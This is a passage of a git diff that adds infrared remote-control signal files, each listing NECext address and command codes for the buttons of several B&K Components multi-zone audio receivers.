00 00 +# +name: BK018_NUMBER_+10 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 29 00 00 00 +# +name: BK018_EQ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 2A 00 00 00 +# +name: BK018_DOWN +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 2D 00 00 00 +# +name: BK018_UP +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 2E 00 00 00 +# +name: BK018_ENTER +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 30 00 00 00 +# +name: BK018_NUMBER_1 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 31 00 00 00 +# +name: BK018_NUMBER_2 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 32 00 00 00 +# +name: BK018_NUMBER_3 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 33 00 00 00 +# +name: BK018_NUMBER_4 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 35 00 00 00 +# +name: BK018_NUMBER_5 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 36 00 00 00 +# +name: BK018_NUMBER_6 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 37 00 00 00 +# +name: BK018_NUMBER_7 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 39 00 00 00 +# +name: BK018_NUMBER_8 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 3A 00 00 00 +# +name: BK018_NUMBER_9 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 3B 00 00 00 +# +name: BK018_NUMBER_0 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 3E 00 00 00 +# +name: BK018_SAVE +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 40 00 00 00 +# +name: BK018_TUNER_3 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 44 00 00 00 +# +name: BK018_INPUT_6 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 4A 00 00 00 +# +name: BK018_PRESET+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 4B 00 00 00 +# +name: BK018_D-IN +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 5A 00 00 00 +# +name: BK018_BASS- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 65 00 00 00 +# +name: BK018_SOURCE+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 66 00 00 00 +# +name: BK018_INPUT_9 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 6E 00 00 00 +# +name: BK018_AM +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 76 00 00 00 +# +name: BK018_TREBLE- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 79 00 00 00 +# +name: BK018_VIDEO- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 7A 00 00 00 +# +name: BK018_EXIT +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 7D 00 00 00 +# +name: BK018_TUNER_2 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 84 00 00 00 +# +name: BK018_FM +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 8E 00 00 00 +# +name: BK018_SOURCE- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: A6 00 00 00 +# +name: BK018_SLEEP +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: B3 00 00 00 +# +name: BK018_PRESET- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: C6 00 00 00 +# +name: BK018_LOUDNESS +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: CF 00 00 00 +# +name: BK018_AUTO_LEVEL +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: E4 00 00 00 +# +name: BK018_BASS+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: E5 00 00 00 +# +name: BK018_TREBLE+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: F9 00 00 00 +# +name: BK018_VIDEO+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir new file mode 100644 index 000000000..022d98ef5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK020_POWER_OFF +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 01 00 00 00 +# +name: BK020_POWER_ON +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 02 00 00 00 +# +name: BK020_MUTE +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 03 00 00 00 +# +name: BK020_INPUT_1 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 05 00 00 00 +# +name: BK020_INPUT_3 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 06 00 00 00 +# +name: BK020_INPUT_8 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 07 00 00 00 +# +name: BK020_INPUT_2 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 09 00 00 00 +# +name: BK020_INPUT_7 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0B 00 00 00 +# +name: BK020_INPUT_4 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0D 00 00 00 +# +name: BK020_TUNER_1 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0E 00 00 00 +# +name: BK020_INPUT_5 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 0F 00 00 00 +# +name: BK020_STATION- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 17 00 00 00 +# +name: BK020_STATION+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 18 00 00 00 +# +name: BK020_TUNE- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 1B 00 00 00 +# +name: BK020_TUNE+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 1C 00 00 00 +# +name: BK020_LEFT +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 1F 00 00 00 +# +name: BK020_RIGHT +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 20 00 00 00 +# +name: BK020_VOLUME- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 23 00 00 00 +# +name: BK020_VOLUME+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 24 00 00 00 +# +name: BK020_NUMBER_+10 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 29 00 00 00 +# +name: BK020_EQ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 2A 00 00 00 +# +name: BK020_DOWN +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 2D 00 00 00 +# +name: BK020_UP +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 2E 00 00 00 +# +name: BK020_ENTER +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 30 00 00 00 +# +name: BK020_NUMBER_1 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 31 00 00 00 +# +name: BK020_NUMBER_2 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 32 00 00 00 +# +name: BK020_NUMBER_3 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 33 00 00 00 +# +name: BK020_NUMBER_4 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 35 00 00 00 +# +name: BK020_NUMBER_5 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 36 00 00 00 +# +name: BK020_NUMBER_6 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 37 00 00 00 +# +name: BK020_NUMBER_7 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 39 00 00 00 +# +name: BK020_NUMBER_8 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3A 00 00 00 +# +name: BK020_NUMBER_9 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3B 00 00 00 +# +name: BK020_NUMBER_0 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 3E 00 00 00 +# +name: BK020_SAVE +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 40 00 00 00 +# +name: BK020_TUNER_3 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 44 00 00 00 +# +name: BK020_INPUT_6 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 4A 00 00 00 +# +name: BK020_PRESET+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 4B 00 00 00 +# +name: BK020_D-IN +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 5A 00 00 00 +# +name: BK020_BASS- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 65 00 00 00 +# +name: BK020_SOURCE+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 66 00 00 00 +# +name: BK020_INPUT_9 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 6E 00 00 00 +# +name: BK020_AM +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 76 00 00 00 +# +name: BK020_TREBLE- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 79 00 00 00 +# +name: BK020_VIDEO- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 7A 00 00 00 +# +name: BK020_EXIT +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 7D 00 00 00 +# +name: BK020_TUNER_2 +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 84 00 00 00 +# +name: BK020_FM +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: 8E 00 00 00 +# +name: BK020_SOURCE- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: A6 00 00 00 +# +name: BK020_SLEEP +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: B3 00 00 00 +# +name: BK020_PRESET- +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: C6 00 00 00 +# +name: BK020_LOUDNESS +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: CF 00 00 00 +# +name: BK020_AUTO_LEVEL +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: E4 00 00 00 +# +name: BK020_BASS+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: E5 00 00 00 +# +name: BK020_TREBLE+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: F9 00 00 00 +# +name: BK020_VIDEO+ +type: parsed +protocol: NECext +address: 47 8B 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir new file mode 100644 index 000000000..eb044eec3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK036_POWER_OFF +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 01 00 00 00 +# +name: BK036_POWER_ON +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 02 00 00 00 +# +name: BK036_MUTE +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 03 00 00 00 +# +name: BK036_INPUT_1 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 05 00 00 00 +# +name: BK036_INPUT_3 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 06 00 00 00 +# +name: BK036_INPUT_8 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 07 00 00 00 +# +name: BK036_INPUT_2 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 09 00 00 00 +# +name: BK036_INPUT_7 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0B 00 00 00 +# +name: BK036_INPUT_4 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0D 00 00 00 +# +name: BK036_TUNER_1 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0E 00 00 00 +# +name: BK036_INPUT_5 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 0F 00 00 00 +# +name: BK036_STATION- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 17 00 00 00 +# +name: BK036_STATION+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 18 00 00 00 +# +name: BK036_TUNE- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 1B 00 00 00 +# +name: BK036_TUNE+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 1C 00 00 00 +# +name: BK036_LEFT +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 1F 00 00 00 +# +name: BK036_RIGHT +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 20 00 00 00 +# +name: BK036_VOLUME- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 23 00 00 00 +# +name: BK036_VOLUME+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 24 00 00 00 +# +name: BK036_NUMBER_+10 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 29 00 00 00 +# +name: BK036_EQ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 2A 00 00 00 +# +name: BK036_DOWN +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 2D 00 00 00 +# +name: BK036_UP +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 2E 00 00 00 +# +name: BK036_ENTER +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 30 00 00 00 +# +name: BK036_NUMBER_1 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 31 00 00 00 +# +name: BK036_NUMBER_2 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 32 00 00 00 +# +name: BK036_NUMBER_3 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 33 00 00 00 +# +name: BK036_NUMBER_4 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 35 00 00 00 +# +name: BK036_NUMBER_5 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 36 00 00 00 +# +name: BK036_NUMBER_6 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 37 00 00 00 +# +name: BK036_NUMBER_7 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 39 00 00 00 +# +name: BK036_NUMBER_8 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 3A 00 00 00 +# +name: BK036_NUMBER_9 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 3B 00 00 00 +# +name: BK036_NUMBER_0 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 3E 00 00 00 +# +name: BK036_SAVE +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 40 00 00 00 +# +name: BK036_TUNER_3 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 44 00 00 00 +# +name: BK036_INPUT_6 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 4A 00 00 00 +# +name: BK036_PRESET+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 4B 00 00 00 +# +name: BK036_D-IN +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 5A 00 00 00 +# +name: BK036_BASS- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 65 00 00 00 +# +name: BK036_SOURCE+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 66 00 00 00 +# +name: BK036_INPUT_9 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 6E 00 00 00 +# +name: BK036_AM +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 76 00 00 00 +# +name: BK036_TREBLE- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 79 00 00 00 +# +name: BK036_VIDEO- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 7A 00 00 00 +# +name: BK036_EXIT +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 7D 00 00 00 +# +name: BK036_TUNER_2 +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 84 00 00 00 +# +name: BK036_FM +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: 8E 00 00 00 +# +name: BK036_SOURCE- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: A6 00 00 00 +# +name: BK036_SLEEP +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: B3 00 00 00 +# +name: BK036_PRESET- +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: C6 00 00 00 +# +name: BK036_LOUDNESS +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: CF 00 00 00 +# +name: BK036_AUTO_LEVEL +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: E4 00 00 00 +# +name: BK036_BASS+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: E5 00 00 00 +# +name: BK036_TREBLE+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: F9 00 00 00 +# +name: BK036_VIDEO+ +type: parsed +protocol: NECext +address: 4F 0B 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir new file mode 100644 index 000000000..91a49af83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK027_POWER_OFF +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 01 00 00 00 +# +name: BK027_POWER_ON +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 02 00 00 00 +# +name: BK027_MUTE +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 03 00 00 00 +# +name: BK027_INPUT_1 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 05 00 00 00 +# +name: BK027_INPUT_3 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 06 00 00 00 +# +name: BK027_INPUT_8 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 07 00 00 00 +# +name: BK027_INPUT_2 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 09 00 00 00 +# +name: BK027_INPUT_7 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 0B 00 00 00 +# +name: BK027_INPUT_4 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 0D 00 00 00 +# +name: BK027_TUNER_1 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 0E 00 00 00 +# +name: BK027_INPUT_5 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 0F 00 00 00 +# +name: BK027_STATION- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 17 00 00 00 +# +name: BK027_STATION+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 18 00 00 00 +# +name: BK027_TUNE- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 1B 00 00 00 +# +name: BK027_TUNE+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 1C 00 00 00 +# +name: BK027_LEFT +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 1F 00 00 00 +# +name: BK027_RIGHT +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 20 00 00 00 +# +name: BK027_VOLUME- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 23 00 00 00 +# +name: BK027_VOLUME+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 24 00 00 00 +# +name: BK027_NUMBER_+10 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 29 00 00 00 +# +name: BK027_EQ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 2A 00 00 00 +# +name: BK027_DOWN +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 2D 00 00 00 +# +name: BK027_UP +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 2E 00 00 00 +# +name: BK027_ENTER +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 30 00 00 00 +# +name: BK027_NUMBER_1 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 31 00 00 00 +# +name: BK027_NUMBER_2 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 32 00 00 00 +# +name: BK027_NUMBER_3 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 33 00 00 00 +# +name: BK027_NUMBER_4 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 35 00 00 00 +# +name: BK027_NUMBER_5 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 36 00 00 00 +# +name: BK027_NUMBER_6 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 37 00 00 00 +# +name: BK027_NUMBER_7 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 39 00 00 00 +# +name: BK027_NUMBER_8 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 3A 00 00 00 +# +name: BK027_NUMBER_9 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 3B 00 00 00 +# +name: BK027_NUMBER_0 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 3E 00 00 00 +# +name: BK027_SAVE +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 40 00 00 00 +# +name: BK027_TUNER_3 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 44 00 00 00 +# +name: BK027_INPUT_6 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 4A 00 00 00 +# +name: BK027_PRESET+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 4B 00 00 00 +# +name: BK027_D-IN +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 5A 00 00 00 +# +name: BK027_BASS- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 65 00 00 00 +# +name: BK027_SOURCE+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 66 00 00 00 +# +name: BK027_INPUT_9 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 6E 00 00 00 +# +name: BK027_AM +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 76 00 00 00 +# +name: BK027_TREBLE- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 79 00 00 00 +# +name: BK027_VIDEO- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 7A 00 00 00 +# +name: BK027_EXIT +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 7D 00 00 00 +# +name: BK027_TUNER_2 +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 84 00 00 00 +# +name: BK027_FM +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: 8E 00 00 00 +# +name: BK027_SOURCE- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: A6 00 00 00 +# +name: BK027_SLEEP +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: B3 00 00 00 +# +name: BK027_PRESET- +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: C6 00 00 00 +# +name: BK027_LOUDNESS +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: CF 00 00 00 +# +name: BK027_AUTO_LEVEL +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: E4 00 00 00 +# +name: BK027_BASS+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: E5 00 00 00 +# +name: BK027_TREBLE+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: F9 00 00 00 +# +name: BK027_VIDEO+ +type: parsed +protocol: NECext +address: 57 8A 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir new file mode 100644 index 000000000..87f6cbb0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: BK011_POWER_OFF +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 01 00 00 00 +# +name: BK011_POWER_ON +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 02 00 00 00 +# +name: BK011_MUTE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 03 00 00 00 +# +name: BK011_INPUT_1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 05 00 00 00 +# +name: BK011_INPUT_3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 06 00 00 00 +# +name: BK011_INPUT_8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 07 00 00 00 +# +name: BK011_INPUT_2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 09 00 00 00 +# +name: BK011_INPUT_7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0B 00 00 00 +# +name: BK011_INPUT_4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0D 00 00 00 +# +name: BK011_TUNER_1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0E 00 00 00 +# +name: BK011_INPUT_5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0F 00 00 00 +# +name: BK011_STATION- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 17 00 00 00 +# +name: BK011_STATION+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 18 00 00 00 +# +name: BK011_TUNE- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1B 00 00 00 +# +name: BK011_TUNE+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1C 00 00 00 +# +name: BK011_LEFT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1F 00 00 00 +# +name: BK011_RIGHT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 20 00 00 00 +# +name: BK011_VOLUME- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 23 00 00 00 +# +name: BK011_VOLUME+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 24 00 00 00 +# +name: BK011_NUMBER_+10 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 29 00 00 00 +# +name: BK011_EQ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2A 00 00 00 +# +name: BK011_DOWN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2D 00 00 00 +# +name: BK011_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2E 00 00 00 +# +name: BK011_MENU +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2F 00 00 00 +# +name: BK011_ENTER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 30 00 00 00 +# +name: BK011_NUMBER_1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 31 00 00 00 +# +name: BK011_NUMBER_2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 32 00 00 00 +# +name: BK011_NUMBER_3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 33 00 00 00 +# +name: BK011_NUMBER_4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 35 00 00 00 +# +name: BK011_NUMBER_5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 36 00 00 00 +# +name: BK011_NUMBER_6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 37 00 00 00 +# +name: BK011_NUMBER_7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 39 00 00 00 +# +name: BK011_NUMBER_8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3A 00 00 00 +# +name: BK011_NUMBER_9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3B 00 00 00 +# +name: BK011_NUMBER_0 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3E 00 00 00 +# +name: BK011_SAVE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 40 00 00 00 +# +name: BK011_TUNER_3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 44 00 00 00 +# +name: BK011_INPUT_6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4A 00 00 00 +# +name: BK011_PRESET+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4B 00 00 00 +# +name: BK011_D-IN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 5A 00 00 00 +# +name: BK011_BASS- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 65 00 00 00 +# +name: BK011_SOURCE+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 66 00 00 00 +# +name: BK011_INPUT_9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 6E 00 00 00 +# +name: BK011_AM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 76 00 00 00 +# +name: BK011_TREBLE- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 79 00 00 00 +# +name: BK011_VIDEO- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 7A 00 00 00 +# +name: BK011_EXIT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 7D 00 00 00 +# +name: BK011_TUNER_2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 84 00 00 00 +# +name: BK011_FM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 8E 00 00 00 +# +name: BK011_SOURCE- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: A6 00 00 00 +# +name: BK011_SLEEP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: B3 00 00 00 +# +name: BK011_PRESET- +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: C6 00 00 00 +# +name: BK011_LOUDNESS +type: parsed +protocol: NECext +address: 5B 4A 00 00 